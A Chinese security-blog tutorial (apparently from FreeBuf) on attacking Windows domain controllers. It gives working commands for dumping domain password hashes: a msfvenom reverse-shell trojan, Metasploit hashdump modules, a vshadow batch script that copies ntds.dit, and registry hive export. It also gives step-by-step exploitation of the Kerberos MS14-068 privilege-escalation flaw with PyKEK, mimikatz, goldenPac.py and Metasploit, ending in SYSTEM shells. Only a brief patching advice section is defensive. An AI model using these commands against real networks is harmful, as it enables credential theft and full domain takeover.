freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透基石篇 | 域控制器(下)
2021-07-29 14:29:56

前言:万物皆有裂痕,那是光进来的地方。

一、 使用Metasploit获取域散列值

1.psexec_ntdsgrab模块的使用

use auxiliary/admin/smb/psexec_ntdsgrab 

1627530433_610224c1340b37be3815e.png!small?1627530432980

2.基于meterpreter会话获取域账号和域散列值

生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.148 LPORT=4444 -f exe>msf.exe

msf 监听

use exploit/multi/handler

域控点击木马,拿到 meterpreter 会话

使用doamin_hashdump模块获取域账号和域散列值。

use post/windows/gather/credentials/domain_hashdump

设置· session 后 exploit

二、 使用vshadow.exe QuarDump.exe 导出域账号和域散列值

1.在线获取

在域控无杀软的情况下可以尝试将这两工具上传到域控,前者可以生成快照,后者则可以导出散列值。

https://github.com/quarkslab/quarkspwdump

本地破解散列值:

http://ophcrack.sourceforge.net/tables.php

在线破解:

https://www.somd5.com/

https://www.cmd5.com/

2.使用vshadow.exe来获取

现在官方不提供vshadow.exe的直接下载了,可以安装官方JDK,在安装目录下可以找到vshadow.exe,这里要注意操作系统的版本,特别是xp和server 2003。

利用官方JDK生成vshadow.exe的方法虽然不用担心后门,但是操作实在麻烦,这里提供一个runtime的工具:ShadowCopy,安装后在安装目录下可以找到各系统版本对应的vshadow.exe。

为了方便使用vshadow.exe,这里提供一个脚本:ShadowCopy.bat,内容如下:

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=windowsntdsntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

vshadow.exe和ShadowCopy.bat上传到域控的同一目录,执行完ShadowCopy.bat后,ntds.dit便会被复制到当前目录。

1627539583_6102487fd9331e1bd6499.png!small?1627539583935

在导出hash之前,ntds.dit需要使用esentutl工具修复

esentutl /p /o ntds.dit

1627539602_61024892d65d187180cb3.png!small?1627539603079

导出ntds.dit后为了解密,还需要导出syskey

reg save hklmsystem c:perflogssystem.hive

三、 Kerberos域用户提权漏洞分析与防范

1.漏洞分析

ms14-068, cve-2014-6324

当当前环境内存在该漏洞时,任意域用户都可以提升至域管理员权限.

成因:用户在向Kerberos秘钥分发中心(KDC)申请身份凭证(TGT)时可以伪造票据声称自己有域管理员权限,KDC没有验证,直接分发了域管理的TGT,用户再将TGT发给KDC时就可以通过票据授权服务(TGS)的验证,获得域管理权限的票据,从而拥有访问各种服务的权限,达到提权效果。

测试环境:(测试 win2012失败,看后续 win 2008)

域 : hacke.testx

域控: win2012R2 192.168.1.1

域成员: win7 192.168.1.3 , usertest/Zxc123456

2.PyKEK 工具包

工具说明

https://technet.microsoft.com/library/security/ms14-068

PyKEK 是利用 Kerberos 协议进行渗透测试的工具包。

使用 PyKEK 可以生成一张高权限的服务票据,并通过 mimikatz 将服务票据注入内存。

ms14-068.py 是工具包中漏洞利用脚本。

用法:

USAGE:
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
OPTIONS:
-u <username>@<domainName>    用户名@域名
-s <userSid>      用户 SID
-d <doaminControllerAddr>    域控制器地址
-p <clearPassword>       明文密码
-rc4 <ntlmHash>       在没有明文密码的情况下,通过 NTLM Hash 登录

1.查看域控制器的补丁安装情况

1627530531_6102252380f933858c64a.png!small?1627530531088

2.查看用户的SID

1627530540_6102252c3674b18ab092e.png!small?1627530540083

3.查看域内用户所有uid

1627530549_610225353af169401efe7.png!small?1627530548807

4.生成高权权票据

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

1627530559_6102253f49e6b742ddd21.png!small?1627530559404

在当前目录下生成 TGT_user01@sec.com.ccache的票据文件。

5.查看注入前的权限

想列出域控制器c 盘目录.

dir \\192.168.1.3\C$

6.清楚内存中所有票据

打开 mimikatz , 输入命令

kerberos::purge

1627530569_61022549f34333aab350b.png!small?1627530569546

7.将高权限票据注入内存

mimikatz 中输入命令,回显”Injecting ticket:OK” ,表示注入成功。

1627530578_6102255296ca3c3c0fa15.png!small?1627530578220

验证权限

dir或者net use 验证。

3 goldenPac.py

glodenPac.py 是一个用于对 Kerberos 进行测试的工具,它集成在 impacket 工具包中,存放在 impacket-master/examples.

python glodenPac.py 域名/域成员用户:域成员用户密码@域控制器地址

kali 中安装客户端

apt-get install krb5-user -y

命令

python goldenPac.py sec1.com/user01:123.com@10.1.1.10

出现错误请看

https://note.f5.pm/go-37050.html

1627530588_6102255ccde5f7880828a.png!small?1627530588519

得到域控shell.

C:\Windows\system32>whoami
nt authority\system

goldenPac.py 是通过 PsExec(被查杀) 获得shell的,会产生大量日志。

4 在Metasploit中进行测试

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

1627538695_6102450780a3611e925ab.png!small?1627538695379

设置相关信息,exploit,生成 bin 文件

1627538705_610245115055e21bb174a.png!small?1627538705339

msf 监听,拿到 win7 meterpreter 会话

meterpreter > getuid
Server username: SEC1\user01

输入load kiwi,

然后输入

kerberos_ticket_use /root/.msf4/loot/0-00000000-user01@krbtgt-SEC1.COM.kirbi

1627538823_6102458707d1a3c58b4e6.png!small?1627538823425

之后使用高票据进行测试

msf exploit(handler) > use exploit/windows/local/current_user_psexec
    设置相关选项
    exploit
    .....
    .....
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM

5 防范建议

针对kerberos域用户提权漏洞,有如下防范

1.针对windows Update 功能,进行自动更新

2.手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁

3.域内账号进行控制,禁止使用弱口令,及时、定期修改密码

4.在服务器上安装反病毒软件,及时更新病毒库。

总结

内网域控制器是大型内网中最重要的一环,拿下域控的话,基本整个内网就拿下了。域控也是最主要的一环,文章主要写了使用一些工具和脚本获取关键信息。

# web安全 # 系统安全 # 数据安全 # 内网渗透 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录